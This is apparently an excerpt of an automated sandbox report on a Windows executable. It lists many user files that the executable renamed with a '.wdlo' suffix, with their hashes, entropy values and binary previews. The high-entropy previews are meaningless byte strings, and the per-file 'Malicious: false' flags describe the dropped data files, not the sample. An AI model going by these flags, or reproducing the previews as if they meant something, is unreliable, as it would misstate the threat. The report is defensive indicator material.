SHA-256:	BA0921B4D64E2DD97F13C652CCD3BEE46A95CEB966C4DEB9D4C3AC7CBD6B0912
SHA-512:	E80CAF048884126F7336E6B7998C6149368464FC9C61A934503525900730625D854503C748F422CAB654F642816795D03670ABCDB62A5F0E3F679C33048D241F
Malicious:	false
Preview:	LSBIH.[.8iSF...V....`\.R.k..,@.v.f.a...A.._......Y..........]Dx\<8.q.....\|8..(.......r.[......o..e.E.!.....c.8P...o0..c.Y..iB..5.......W.Iq.69..^.oy3^..........%SV%2..P.Hy.[.M..!..7....1.5.2dw..U.).%e... .@...].r..%.V.0.'.Pj.g...X.b.\.w0.....&..y..5HY...#...c...p...!..d..;...q...!..P..L..._idA# ...?..UI...=..)Gm.[G/.s.......{t....&...:..q..a.....y..Xv.).S..#... .....A..~..A.n@.....~...{.....w..'t.-...=...^.......]4t.+I97}.........R..V}...jb....V.....X.I.0......z..l......!..._...0..l.U&.i..1.4mt........!.......7.o.....#...U..b....Q.wp.....:..8..Q.....Y,.?.j..dcv\...jg..8.m....F6.J.>@..h>...n....$:(g...m.....v.........-..J..K....C.1...Ee.....G.D<...X.V....pBl.._.k.A.V.8..b.`.O~.nQOT..$>..l.....3.AV1..)+?...4..8....s...F80.f.1.VeF...k/.."C.~....'..u)...IoV.5!.$.I..`.....a...M.3.(0.._..-.r.H....of...J..q.X.yq..;A..F...M..\|..J.=D....l..i*.e..v..}..t7.M.YW}..=.2.V^.......2Z."...>n.~}.q../wL..Z..!,.b..v..\zm.......')A+._..)G.72...{.K.

C:\Users\user\Application Data\Microsoft\Windows\Recent\LTKMYBSEYZ.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854435575101545
Encrypted:	false
SSDEEP:	24:/lN93Xj3mBIbuxZv+tJsf0IIgM/8ZFD/7dx+AsKYp6XAKqhSRcTjiEYo9/JoA3zX:/lD3XjgIbubvuJsf0Ik/8ZFD/7dxDjBi
MD5:	E21DC44697E33BD18A938A2716A1E18E
SHA1:	66E7A014CA3766BF86F1CDFFCF2E173A480AF770
SHA-256:	3D1CCF70F99C545655805CA72C75EC78D5E396F8B2336AA18654F14702C7A0D9
SHA-512:	1D71AAB35B6711761B45AC9F035FE47D01C2B5DD7C1625A75AB8AEF14CAE57390DEB5F13D86410C16F37BE883A2FAA47F4D4CA4CBBEB2729CB8AFCFE39383079
Malicious:	false
Preview:	LTKMY..7.....R.2./.....(\.8HN......A ....H.f..]4...,.../....^d.jp.7......H..N.^.x..7f..D..`.e..N.h"..K....5r.\|.h..$..a.........@'..U%<W......1...lK..A..P.......^02&.&b.bG...-..)....%vr.../...r....Wy...I..v.c.....fm..d.......m..#..M^r[..j.A>........U..S...~.....A.eq..(Q.4..........YM.ELFz...~..,LVu...H.l...\.f....\|\2......@.....k.F......J."A.....&...-S..G4...%...qE..n9w.0!.i9..am..!v..s..G..../R1c..4..@..9......dG...........'.pu.9..+..j.<....S..."......'O(.S...2..j.3.'...4...S......T.iv....)..n.<2k.:.....k..v..X%..'q..LE......-S>."_......3s{7...... ...e.....L..h......).y...I.$....[....5WPm;.J.q...}..../g/X.....$.....R...Y.z.zU.dB.H.......p.....ah;.]\|!.\|K......D...XhE!.....<..N.P..}0... ..E'..v.......t..a=.k..GM.[n.=>..\|.}kAk.......y.X...Y.".mp..,=.9...%y.M.Q..I.zl-..?.,.G.+c{+5...y.O..Wt..<.(f.......=.n=G'(.zB.....a.D...2...H...t...f..#Q...\|/..........N.f.......Z"..$n..r..H>.[...{.(wrs...a....3.C...a....\.y.....&..+J.....VD.W...Y

C:\Users\user\Application Data\Microsoft\Windows\Recent\LTKMYBSEYZ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869856507200867
Encrypted:	false
SSDEEP:	24:bEUI7VXOzB4Kx2OFvlkbkNZJSybladl5pR66kDN+KL24dOjcqPhJy85iH93zbD:wUI7VXOBN0A7vYWladlnA6gN+KLFqPhe
MD5:	547C0CC3667715DC4000D52A62AB8A48
SHA1:	D6D90487BF05C58EE523AE240972168911F8A390
SHA-256:	DB1ACF1FF0893A724003D8475AD92EEDB314802670A4BAF06DE72D8C77683532
SHA-512:	7F8E58D6ADF246A6307857B131141E76D718E1998ADC00F5351B2C0C7AE17B4D76C3E8A0E3A7BE11CC0E2AB3D24ACCF7840151EB0925FFC15D5293E9721F3791
Malicious:	false
Preview:	LTKMYGC..5I..4...'....W.L.......%9W:...!.f.]g#...)_V..n9.T~..J..Z..k;..F...,..cZ........H3.._.Q..LO.].R{.'M$V.;..O.-....u........<..+L..%OYfd.K@...X.....d.P~.0....q.wue4w&d..^. Y.3J..dtnjN6:....J-.\|..=-..d.+..'...a.....e."n..,.....W.u.QR.....TK.Y]..)..f.gnh<...../...& H.....}i.J.UZu..{.+mI........9...2DB.g..../......D..q....ed...F.H...r......x/.~$...l.....j(.T\|..t...<......, ...D9_?.....]...#.v.&h_K.G2.g..`.o.y....g.x.Q...q....O...g..pY{....E{9.i...Cv?L..._]..jpf.s......'L..S...5\|./....@~.8....Gvi...)..!....R.+-.-...9..3.R.w?.X^........M0......X...K...jWQNU.+pn..`..P..3>m)..A.T..LF[.G.2.-w.9y.-zbK\[..+u].....w..y.J~....5....<..?.....Y..~.d=e`..S...l/.+........A...j.v...q......B .~..R..u..ba..3<...J....~..-@!.m^+u.$..<....&..Y.5.U.1.^....Z..5.#....&.....hl.......W.2m..".=E-a..z.9.....M......U,P.N(...9/*...Tn=%.n.Z...u...O.h.6...4T.:u..).SS.L.r...4z.b^.0....v......6..~.~6.....-f.>...{......t}&g....8S#V..4....V..=..a.V..d.B.4n3.cW

C:\Users\user\Application Data\Microsoft\Windows\Recent\MOCYNWGDZO.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856129587635169
Encrypted:	false
SSDEEP:	24:S3dku6gVdZJfzjaTZeAjy6ve1i/MVldT5AjdjNLQqOICH47dMyhTFmD3zbD:b/0djaTZJjUEmlgjWICmBI3nD
MD5:	609BDD1B29958ADE31A862711A6F79B7
SHA1:	2B07407307994895637361E97221232579BBE0C0
SHA-256:	395DE188E2929E08B79D78EBCCCFB857D15FE930F386D7DF6F272B35B2DCB009
SHA-512:	316B1C07320A25CF2A292672FAF5F8704DF36F959907FB709602B581AFCE8F75C11867C1DFAED52B1409671AD416A928A2E26E51014E8FDDA773D3E86CAB6361
Malicious:	false
Preview:	MOCYN..bx\Z...9..e.6.v..vJ....Vr....e.]..}.6j......Z.8"..{..+k..g6.SU.m..zn#^.E1...eA.u.....o.H...rR.J......Y(..28......q...........W.F....P..!..w......E6..#..]....H`..mS\|6(P..Q.]..\|.l../. .K^.\.9.)9.Jp...o.....eU......6.u.....!.{...._U.u....Z.^..;.h'..9.z6..D..?...Z.....9.Q.o=...5.GT..o.U.&...D`>......ky/....oBCj.\|w._.u.8K.b&Z....Mz<.^...]..S.R..o'6s..SKA:<..4>.4.........].O.a......6Bh.........e...85..%..3.s..Y.r..i...S.b...;_e.#-..W.b..7.S<.....a..f...Pe...9........h.....>Q\|...'..g=.r..._..q...N....j&'R.PF..04..#..W...y.x....ul..h....7.P.........Z....q.M:..<.....E.y+C1.......a}0I..~..?o.o.V.\|@..+..D.S..%...B...z..l..CW.;[...V?_....d....5...g...MH..........jytl...,$a.j._&;.S.>3.#...w..g....3.I.....;B..we......8..."\|a.\|..8w2.\S[.....>...c.H..R.T.'G.n..%....._..j~..d.2+\|........[.A..?6N).....9.d.'9P..o2..k(`..ew..........0....W......5..?.$g.....M...Y8....5.W...dR..W...y.....BR..E..vZ..i.,.7.[.....YmA.%.0..x...O...R...U....WAL....

C:\Users\user\Application Data\Microsoft\Windows\Recent\PWZOQIFCAN.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865715536214976
Encrypted:	false
SSDEEP:	24:5sndwIHWidk/0BG7cbQ/+eZsgIijnOReFXiWM54AwCzJ93zbD:x/k1BG7c0/3kijnOReFXL1AwCr3nD
MD5:	FC83E46888765856691BFE313B687971
SHA1:	392D960CF36CC983305D3CA2085A65E85E59784A
SHA-256:	EE6E5F7B14DFD3314C368B5A89A3549319DECB881D3889DB4263ED944ECF0713
SHA-512:	605239B1BD1F232250A9F79C4928B46D78E349AB37147FE16C3538FFD7EBF5C2616867C5685C399EF201FD75777AD4179551C8A12F167B4AA189594D6F016497
Malicious:	false
Preview:	PWZOQ..1.Yq. 4.6./.d...]....Dp..*<.D...s..!..9..3.......S.u..........p$r+.Z.......J.m+.@C...}q.j.\|.........H......X.`..b.L...F+7....#5......_[..I,.U.e.KK.[.s.9.Pl;...h".V.:.'.<"........(.o9.$0.......\#K..JV.....GR?.O..p......+..<b,.wCVt8..N.!.Z............^3ZpM...H.q....mK....O......t.s...=.%.....a4#..\.NN.)S.....k.\Y..m.l.hv...:HQ.Wr..c.g;.!>d\|.85.l...o).U.M.L".W..C.s....'..Tj..'..j.T...c...t.T>.Z,c.5.....0...9..z...W.d.!d.5.c.7....#....:.1..)c....0...uRuo.&..}........k.....j0..\'.GH]2.._n.x3b{.1......p.3=....n...v.>S.....YZ.k......UuH...F:..$}...a.q......V...7DG.~.%O..B...P..t..wwJ....../;_8]..(....3..rSE.\.R.OR.t..\|...phk.z...!..^..A.\.....MA).'Q...#.nz..R.zw.H.....d..g..v....k......u.bA....UX..C.zv...T 5.W.....S.Y.x.f.....,.a\^.V}..GBl.).W..e....Z.......x...1.,.P.....~......`...rb?.V.&..W .!nH.U\|...p.....tV.+.g.L...L..9....d.J.0I...\.U...@).`.Nr.C}../.;...^g.LU..vm\|6C..._.w....'v.m..U..s...B ..6..s..O`....[......#.A.v.%..7..

C:\Users\user\Application Data\Microsoft\Windows\Recent\SQSJKEBWDT.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.884590721673373
Encrypted:	false
SSDEEP:	24:Fej5d0CSGkyXT++wNzwtH3Ev/Rh4E9Wp931tJ/lIwRXzco3pjAcd1651mM3zbD:Fe9dT1kyDVwBwt0nRlo/1P/lfRXzckpG
MD5:	9138DB228C306AC4C12722ED004556EB
SHA1:	2A7ABCF96F75315BF8708E679FD3F30582396FAC
SHA-256:	2AE70DACBE49826045C0B138A0DF6375BF27C8C470CECC7FDA87F4579FA8F0CD
SHA-512:	897B1FB8B6AACBDB60618890FDB234210201E0C09049EC463320965FC418FC68C14B2278C77B586723C81C7B2991A838688A4E3EC7710D5E926104132548D849
Malicious:	false
Preview:	SQSJK..3N.J....T.k.9...t.{..p....r~.9...W....#....=.C..2..T`.^]..lU.%.(.7..F.d..P.Tt(e.Bh[.L<.....f.~Q.. M...@......S~.N?.(...w..l.......8@.5`.y=,..1.I...\|.A#~A:./...N.Iz.#\.......t.#.J...`q..K.Ji8........^?.3.$..T.........G7.....R.6.....$..^4....9....5....U4_....U....&.a.s`~nP.9;@.)FM....c"s...!e:.......4.........\|...Kk......F_m<2....B.....+..U....ID)..O<.0,G&.:.&tw....E..g..f.".tW..T.......$..v.U!`{ /.. /Y.b.t....\.\|.W.. n..m.]v.\|:.......X.=dD.......&..Q....Vo.Y..E...."...02...L7W...zKg..._o.r..=........c..J[....n.n.f^O.e..L@..LMH.@.y...m..&.'j........#..1........\|..L.E.j.5Y..V.s.....Ra_..N0w.&w.F:.u.F.$\|...C..!.[..#.F.B.)bwn..........p....._.......YI'@...h4~.X#.?Z...qA....K;g.m}.`..AH..Rq..pP.Up.k4.9 ...`...0./.9n..}.'...v..!......Q9.r..B...T.....\.J....\|Zxm.....'x...'eR_..<...\|.........~>.......}...t=p#......&...S`.^..{p>..ly._.C4!.Y.d.....]+%...?.xK.._.=.......m=/U..W8e(..+........$.'+....3U"...x..<.\Y?.wWi-.(,.0.Cda+.....X...

C:\Users\user\Application Data\Microsoft\Windows\Recent\SQSJKEBWDT.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853212848058083
Encrypted:	false
SSDEEP:	24:qXKQscRfza2rl1NUifZ13d6BYYXiXWF/+uo/Txki1cdyglYXTlkOJxTtMBO23k3D:TQNRfzjrl1NUut6BYYXimF/+uQL1c4gI
MD5:	A40DC17E9FB2F7E9F2E29F3DF7880144
SHA1:	F3CFEFC22771154E94E923B97E61FFBE1A9E97F2
SHA-256:	B6F6444BB611F9D59DF66F9B0B3ABCC89FE5D58BCE7607E1E77926FE5EBE39EA
SHA-512:	F0DFDCC3A31CAD51FE3F582180035F320420836B5C42D3FCD641567709E392FF0FA09BC5F2107EE7808E7014A4EF5757DD75788BF7E9D9E1C9922C650C76C285
Malicious:	false
Preview:	SQSJK.m...zg.$.?.tP...m.x....D.cr0....6.^..LX..#K8..l..1P.\|.u.W+..i.R.ey.. ..MP9...e..?O3H.....5..8BCjz]b.f.9...Z...n.0).e\.:I.p"...h9..{73}F.......X...w...z''.Oh....j.-.c.~.u2NF...MX..\|.....1.$C..G.2.Y19.8z...e.[..u.3.........S.V.[q.o..f.....X.ls.o..6.x..p.fz...M.....8.z.....F".@FjK.....}.b.}..o.....y6.`h4r........T.^......:.T.p9.E.....6s.2oZj..Aj......F.y./u.CsM.QD.0..&.=.\y..m.{.\|;...V...'N.8.0Ap..`b.....B.RD...-{..(t4;.....J....4...1...A.O-{......`O...PD?..^`.8.......zB.....L......M..=.Q{Nd...4.ar.w..$...U....[.-.<....!.j..?G.Ax.h..........o....l.<.....D.2.!(.7..&.A....u.u.....O..o...+.5.!.....T...3-.. ]([..y.T...aB^.>k.......y.d..B_D......%#g..T...a.._G.s...[....j..!..K...P..c9...w........q..vl......:v %1mb.fF\.(2J.S..^BFD.Z>n.$...bL..../+)d....04......v.G.#.%..B..xY.~..Y1J..E. <..F....W1i.a...&_.:}.xL...../.$x.....;.~.HTL.\|..cr.~..~y..nt..T..\|(.[.......gB.5(...W..m(u....%\..=.=G.2.<....?V..+.s?....*....k..C..........(."zG4...g@:.....%O

C:\Users\user\Application Data\Microsoft\Windows\Recent\UMMBDNEQBN.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874237053912571
Encrypted:	false
SSDEEP:	24:wIsUlItQY2rZnL9RcvqUarPceRqp/0b3L2g6jcjuILK3diQ/r0svUBs1x3zbD:JaQrVmqU21RS/KiyuILCdt/r0svu83nD
MD5:	8DE323D260F9B088DA21D956728F0488
SHA1:	DE4715037160AEFA4634BFDC43EAA7C93F498CF5
SHA-256:	3E32A4B488028ED034C3ECF405CCAFC15C14066E08ED7EAE15AA1684B4783967
SHA-512:	2CC23C820EAF221E5A0B5A01665FCAC5E86085C33D21A57F85E136F15DC137F33129E41E0F405EB63FBB97B3C4C509B7E7FEF285F6470736FFC1E798D0A8FFE6
Malicious:	false
Preview:	UMMBD^0.r...+....B....:..y. vq.c..#..~..Y...tm-..u...v...wd.K#H.).f.C_i/..E...J..0..[."R....q.(sL....,.....sg.^5...FU.......9..=.~..!..?.y0...W..v.(}wy )L.\...AQ+..&..D...@...b..Hi..1.s...^.0.].@.9X....X...6&(..$..UY"...D...@\|p.#.....>..Z1...)U.Pi...H...Y.[......:...........I....$r#L..4.(...c....UU.....h..,>{..(.P...8<h.]...^..a.).g....}.l.Y;Gg.\4[...-.m.N.Q.vx.D...iZ.I.;4....Wj.W.....n{..js....\K-,....B..5.L.\I...@.4jf....^....n....\|...2..>9...."....u?.D...W.#HcU.....'....jH..R...@...O=..HQ..0Z.....dj.._g...I.G...J0..p.....7;...w. v.........?R........mOk3..9.Zo.....\x........j...3%..]]d.....f...H.....L....~.]f....5....T..."B.g2...D..L...=.8..eB......I...D.-..4h...+..3...'G..h..!r.w...[.xYy...M..1P......A.-.GO.6...6e.hg.;.....RNe...T......._...q29.N....s..N......{......}8.A.%...!.!Z(.4C\|)....w....4.......#...m..L@..z.........q...:.x.E.S.S.E)..U.>V1F...$.i....Y.....4.PG.P..../..%.....1HW./.q..O..4.1...A..D..W.`_M9..H.T.{.m1\|

C:\Users\user\Application Data\Microsoft\Windows\Recent\UMMBDNEQBN.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.877153376047412
Encrypted:	false
SSDEEP:	24:73A7ytrGBm9p6FgJx0dCzmNdTz0xycyjgP2uyVWrtXa40wyP3zbD:73AKrGA9pugH0dCzmN6xj1yeauW3nD
MD5:	CB31D58C0770957D5603F97B3D479650
SHA1:	F02414D0EAF121C0FB0550A335832D4E52FA6CBB
SHA-256:	2961BB2E1D7D4EA3C666DD2BD294AE08364F859B470602039D41B26C8CFFE8FD
SHA-512:	BB2ADA0C6D22A5174908EE6F3675BA4C863516102E84A97A5E9312F475047EB01D1F29C50D0EFFA8CB7EBF8CF69FC970B7091F89B62DDF535EA52A12530A7305
Malicious:	false
Preview:	UMMBD^....=....3^-..p.&..)....&...~...N..Po..o.=....O....}.)...P..n.=t...\|........^=%k..x.....bIy......-o.#....H!......q.W..<.y.y.-xaw,..#....h;..bj......._..`.......zT.w....%U2c......A....(.~......E.Q.....?._P.....;..I...^......7GQ..%u.Z.G..{s...?K.4...6X.f..a.0.}.SCs..\..^.>.\........O..1.....8......7.. -.o.\...7..[+...!..pC......\q.E2.y..R}p.q...w.Ch..09\./.......OF.Q\|.........J..:.}....E.....IS+81.4....`.l.)..k{.wI...p..#8..m0.?$.!.\|....\|....%..D...dlV..T.c.-T.P..M.U...K....6..Do..B.........;xEt..e/..+g.-...#...#7U..}...'.A..:u..Q.wKt......u.Y~.6RZ...Y.k.......O<!.....v..."...H<.D.N..MM... 'u.D'.Jr..W...6.6v....PdM.e.$_.<>=cg&.@.!"...v..b..?0..l6U.9bZ]..f_.YH'..!...+..a:..........R0i..r.Hx.Sd<..I.#x....^.(.X..TC.....#...Q#)R._.y../...L.g...&r`D~}...A.@...nTPn.Y.l...^..Y[....N.' ' B].x.:.N.<..ya......."7.G.......H^..G... .W.3.e....b.....P/o.FKH...........)..0C.im5E.9.#P[....4..!..9`Z......)p......q..N........z...4...d.

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853946333065081
Encrypted:	false
SSDEEP:	24:H4syTj7NWgewKBWqEWb33sOEUk6EccHkW1f8TJvAhpLbEMfLms2fh23zbD:RqfAHMURPkBEAfLhpLAWLu23nD
MD5:	585401C746EF47FAFB3EFED9897DB2DF
SHA1:	62BCF0FD6906769A7B81BB8A200768836F40ACFB
SHA-256:	0288967D8BA193A3C1ADE52058EDB70FA9BDF18B58371CC044372B4299CFDD42
SHA-512:	A5BBA5404AEAF5D190D3E5AFB56C34C60E1AF1B8BABA7F3EB210C9CE530D597453DDC09F1FD7E72143C07CDD45A61540D202DA17EF55A400CDBCB8E9BAC7125E
Malicious:	false
Preview:	VLZDG.....'./....\|..?^......(..c.1..9......5..5v.2Od../K.v...5...UM.X..Th$......-.....G...J.g>c..r....]..vB....UK...?...!.......7&#.=.3.A.F.ka,.]..--M.........Cn.......4.H.T....R..V.\2p{..a..R...]G:OR..?j.=...\.4S2;...h.'.sv.........B....qz......_X......T.._...].q..O..w..!.TQ..}.Aj....y.L.$0O[9.o..AL.T. ....E.u.>....<i...........j.Y]..a>...<.........@X_.M..h.J....b.j.N...$.......q]..C.q....\.M....A......[.(N,.p.H...Y..?.i.>...j.....e5.Q5...+Wh...W....f:2$W.f.q...+.h.k..a..__K..OW..F......&).9.;..k..z9..W....";......6.....&.;..!..Nr..:.\.B..)Ez...<e.....Q.j)..#.u.Cs.o.B.,.\|.OOn.\|..xn.d..zJ.5....5....z'.(J.r.mP...x...K5^Z....7......EGJ..U.v......{0.C...........k.xy..!.w'.P..:...DZm.?.........kN..>q.Ip7.i..7...A........r/.1;0q6..W.\.~.?..a....;^zj.z...A<&..,....S?..w...P.]..[Op].GjE...$i.......r.Cw.0D........ ....o.9.v..;...hvQ.Z..e].b....!.......z.8..lsi1G*..1.'..<..A`G..Mi.{.L.Q..g...'...a.J...s.T......\..._..ha.-.v@..mDL.

C:\Users\user\Application Data\Microsoft\Windows\Recent\WKXEWIOTXI.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84071602096172
Encrypted:	false
SSDEEP:	24:JDjUCyr3qkxM/o/lbsHDAKJTKYcE+0DyFO5jGhHljO0QrfA3zbD:x4nr1GwNoHDNJTKYcGDyYMtRO1rA3nD
MD5:	73394B2B9A4C2D7A115C129C8C002F15
SHA1:	BA421C107288AB31471C50E5B740076ADC2885EA
SHA-256:	3CA0049FF9907794A332966E7A9BAEFDE1F5146620506B5A83C9D06F449B0FE5
SHA-512:	B14F17BFBC66D53D6BDAC1987BEDF835BBB4A5B36C82F9F825078B1FC621DA653BB0665DFE8A2640969C5E2BE44B20A3922257398A86389507757727BCB43520
Malicious:	false
Preview:	WKXEW...d<[......,...>:U..^Co./.k.R=.T~.......Wk..3_B...O~oa.Rz..tTj.~..}Y.K.ooxXN.I..B6...../...iChLW..{.lv\|...\|..%.....;.......p ..\..>......w+..l.a&L..wSx..&.K. <VKY....(..o#.K..Q"..O.SG..4p.qs....%..)w.EJ......J..Ga...m..&......E.a..,ff!..g....?.M....d....=./...T:r.8.=I.`....}.]6.s..bj...S..R0s_.id..t~.b.$C......:Yv.Z.m.G.?..mU.}.bx.^L.4K^=..NMS{.....s.+_..@....D^E....s/.).'...If.4..j..+.N.&..y...~a.A}..x1.Mg..=.......t..0ZoCG....7..G.").c....O7(`...a...n.p.`....\|.m.Xm.r...6\<....t.u},<=-....,..S.....[.r.....D......2.[mQ.g....m......o.V......p.....b.......X...:.7f(......)....d..~F<Z....M.h..5........zl.E{.3 ......4..B.._.s._.0. 1qL.Y..0...rx..a.P.0+d.B.g-....Y..Q9.;..ld.u...[.......:z..gBnJ.\..o..6....5<...\|.Bc..}.d.. .........B$..+(.5.L....k.......Me......[8..Q.O...#.R.>.#.m[..Ad..L.....9.P.^...a.Q.......ry.....P.M.....j.E.)w+...z.L...g...b$....0L.XS.\|.do.?^_..PaL.BK........I.n}\.....R1.2.MA..6..*..?f...A

C:\Users\user\Application Data\Microsoft\Windows\Recent\WKXEWIOTXI.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84912978089733
Encrypted:	false
SSDEEP:	24:2j8CPG0MivQoPxzvknxGMOnjEhWbiyR8LN3rUs6JZdsHhqVwitAPjm3zbD:KZPX3xzMn8/VGyR8LNbUs6dsFitP3nD
MD5:	F43DEFCC249562589A9721D2F37E68A2
SHA1:	582138801296FB9F6D470E1B68724F1DA4EB0574
SHA-256:	9439A3D3E4474DE1C462BE5CC9F4B7D434FD83A9728677AECE114B12DCFEFEDE
SHA-512:	7B745E08B44D784FA7B0C6CFCB32C9F868FFD7F9D2BBA9A9AB1AB20E6FCEE4F242585CC522D48E2E6C7DB616437D7AE650619770E493861D0FFE6C59BBE32040
Malicious:	false
Preview:	WKXEW!.......Z.-=.B..Q...r.....A@.'f.Zpj....K..N\.9.......H(....K.h.x...../.$.n...a.........W..bQ.d..63[......E..F.....cb...`...9.Nr.k.3_.............-..X..h......}D".H.@..W.PKg.:.../e.@q.8]....W`.c.~.e...2.4.3d9.`(aW.._..7..r..W.`.J,..4..i...... e.(....E2V.....R....F$..2.J../.PL..`;....m.6....8.....@.P.......S.V...Q>......_X..q.!.gT....1b...K.?;.)...... (..V..>.D....f.....qt..k..w...tN.p?7T..k..\|.X.4.3.P...0.....x.....~.)k...<d...d..^....\|.F..P.8..L,....m._h.....o....Q.y..e.........$....{.Q.......~R....zG...B$..e.m$h.^\|.j ..c..b_.m.Q...w..........M.'x.K.{2....E....6.j&.'..`...M.L.s2...&....i5..ac_VC...`.8..IeM..........._i..x.L,.....2)..0g...9..9......e....{;r...O.YJW.V.O.z,..9Iu.....N=............?....k)a..I]..vu..>.a..f..-V..F.e.n.(...\|.......=.d.b..... N.#}...l4~.h..9.Q...2.).=..-Z.:...B.8....^.B.k.....^g1s...\|v..t.......r...T&.w).m.)...uJ.....}..5H.i..D.f.....1.....g.A..\|'!.E........ZK.^l`.T.N.....w.:..kX...2....\.

C:\Users\user\Application Data\Microsoft\Windows\Recent\WUTJSCBCFX.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846914889524784
Encrypted:	false
SSDEEP:	24:92kami40/jmmVH0PfuFFVjxGZ1J/XmrB33zbD:Utym6ulNG/ZXu3nD
MD5:	D82E72AC7B569FFC6DE6A2666F76FFAE
SHA1:	C93B86E4523C6F36D14B687D2BFDAE60C2F2DD02
SHA-256:	662807BFE4D60EBE74DDC6A5D1E0734A95FF501426FDB5478458F9CE22642923
SHA-512:	945AEAE0E9CEC28D114104D78EB367FCE4468635AF045D818BE5C966153DF941DB3C6CB6B7268EB0B39014A40256805DFD00A3388049B6B949DE7B40C381B24B
Malicious:	false
Preview:	WUTJSP8.v''.=:.X..y...(..d}....x..{....s:..`...C.kE.Ou.r.F...5.../.....YI....dv...^=.....}wZ5~.X.{.H.....,P..Z......!.t.-h....%}..8..v...CI z........Ae....}hFb..2P.b..D.;.v}...9._..k.?....:...C...E..8........PZ+[>Q..F ...N..Yb.gv..cNT..Gd..t..\...}.X.1.#v..g..q....R.X9.....u.".R....]..u..j]..Wc'.....`.&R.PGe..p.j.2......:....u...H....W..../z1.-..^>v..0...q.lL..5.4.=..;.._.ng....>.f....].mh.............#I.....6.....Q.0Tp.}D_q...n......#...R..;.....K4..C..,A.....j%.....,...]..XKX........#....s-0....0.SO...h.?.Xf....2.p>".....9......R..ys..L....A..PZ...w.5..A.2.=....b.....n..~(..T\8A.L..'.I.2.....R1BL>.>..&V.b.U.....Xm@'.tQ..5.j0en.k+2N_..,}..}L...M'H....Z.s.Z<....A...g.........q,..].......n'...3..U@.d.9...3......Na.....4.r..X..$....P....Rm./.\|..)..u.}m.....}Q.S.c....ouv.}.@.F_D.-.P.1..M\|0.._..?O.......vz.....j.u{Up.].P....m..8.P.....v.4...D+^9.>..mrT.:..02.>.j...-...9..(...qox./...**W...s..j..Y(...e...#.]{...qv..".M:..G(....).

C:\Users\user\Application Data\Microsoft\Windows\Recent\WXDORXTPKQ.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856697203456675
Encrypted:	false
SSDEEP:	24:J8noFL0/fzNsB+pHeK1djQSD+yoXRKYGeP1PCWeeE9ioO6LertgT3zbD:J8CL0HhsBUeK1dr+yoX3GeP7eX9DFyr4
MD5:	107F2BBA5B17DC2C27AF7C6268254F5B
SHA1:	61CDED583DC10116C30B4BCD44E53FB3B4F9325B
SHA-256:	5C7E841BF44C1FC03AB2C5387B007AD7166627DFC1680C0EF33FE12A8BA73CF3
SHA-512:	E12ED2624318CD2980F4D3674A629520889DD4CA7086584190BCC5CC938BB52FD67BAC9584C3AD5240836B6BF5845CDD7E03F2EB31159F8678D9B892420E9BB9
Malicious:	false
